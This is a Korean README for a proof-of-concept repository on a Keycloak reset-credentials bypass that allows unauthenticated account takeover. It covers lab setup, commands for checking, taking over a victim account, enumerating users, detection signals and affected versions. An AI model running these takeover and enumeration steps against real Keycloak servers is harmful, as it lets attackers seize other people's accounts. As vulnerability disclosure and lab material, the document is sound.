
이 저장소는 cve-2026-18963의 PoC입니다. 합법적인 제품(랩, 로컬 등)에서만 사용하세요.
Keycloak reset-credentials 우회 → 인증되지 않은 계정 탈취 CVSS 9.1 | 영향받는 버전: Keycloak 26.0.0 – 26.7.1
CVE-2026-18963/
├── cve_2026_18963_poc.py <- PoC script (Python 3.9+, stdlib only)
├── README.md
├── docker-compose.yml <- Lab environment
└── realm-poc.json <- Keycloak realm config (auto-imported)
docker compose up -d
또는 realm 가져오기 없이 Keycloak을 직접 실행하세요:
docker run -p 127.0.0.1:8080:8080 \
-e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
-e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
quay.io/keycloak/keycloak:26.7.1 start-dev
Keycloak 부팅이 완료될 때까지 약 30~60초 기다립니다.
| 서비스 | URL | 버전 | 상태 |
|---|---|---|---|
| kc-vuln | http://localhost:8080 | 26.7.1 | 취약함 ⚠️ |
| Mailpit | http://localhost:8025 | 최신 | 이메일 캡처 |
admin / adminvictim / OriginalPassw0rd!poc | 클라이언트: poc-apppoc realm 또는 victim 사용자가 없는 경우 수동으로 가져옵니다:
Manage realms → Create realm → realm-poc.json 업로드.python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--safe-check
kc-vuln에서의 예상 결과:
[!] VULNERABLE — email gate execution served
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim --check
부작용: 재설정 이메일이 피해자에게 전송되며(http://localhost:8025에서 확인 가능),
emailVerified가true로 설정됩니다.
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim \
--new-password 'PoCPassw0rd!1'
그런 다음 http://localhost:8080/realms/poc/account 에 victim / PoCPassw0rd!1로 로그인하여 확인합니다.
printf 'victim\nadmin\nnobody\n' > userlist.txt
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--enum userlist.txt
렐름은 최초 부팅 시에만 가져오므로, 가장 간단한 재설정 방법은 환경을 처음부터 다시 만드는 것입니다:
docker compose down -v && docker compose up -d
또는 관리자 콘솔(http://localhost:8080/admin)에서 비밀번호를 수동으로 재설정할 수 있습니다: Users → victim → Credentials → Reset password → OriginalPassw0rd!.
docker compose down -v
| 신호 | 정상 | 익스플로잇 |
|---|---|---|
GET /login-actions/action-token?... | ✅ 예 | ❌ 아니오 |
POST .../reset-credentials (본문 tryAnotherWay=yes) | ❌ 아니오 | ✅ 예 |
동일한 code_id로 SEND_RESET_PASSWORD → UPDATE_PASSWORD가 2초 이내 발생 | 드묾 | ✅ 항상 |
VERIFY_EMAIL 이벤트 없이 emailVerified가 true로 전환 | ❌ | ✅ 항상 |
Mailpit(http://localhost:8025)에서 비밀번호 재설정 이메일이 피해자의 메일함에 도착하지만, 익스플로잇이 성공하면 그 안의 링크는 절대 클릭되지 않습니다.
| 릴리스 라인 | 영향 받음 | 수정 |
|---|---|---|
| ≤ 17 (WildFly) | 아니오 | — |
| 26.0 – 26.3 | 26.0.0 – 26.x.x | 없음 (26.7.2로 이동해야 함) |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (벤더 백포트) |
| 26.5 | 26.5.0 – 26.5.7 | 없음 |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (벤더 백포트) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 ✅ |
26.0 이전 버전은 영향을 받지 않습니다: 고정형
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED노트와 재설정 흐름의 "다른 방법 시도" 선택 화면은 26.0.0에서 도입되었습니다. 이전 빌드는 단순히 취약한 코드 경로가 없는 것일 뿐이며, 이는 패치된 것과 같지 않습니다.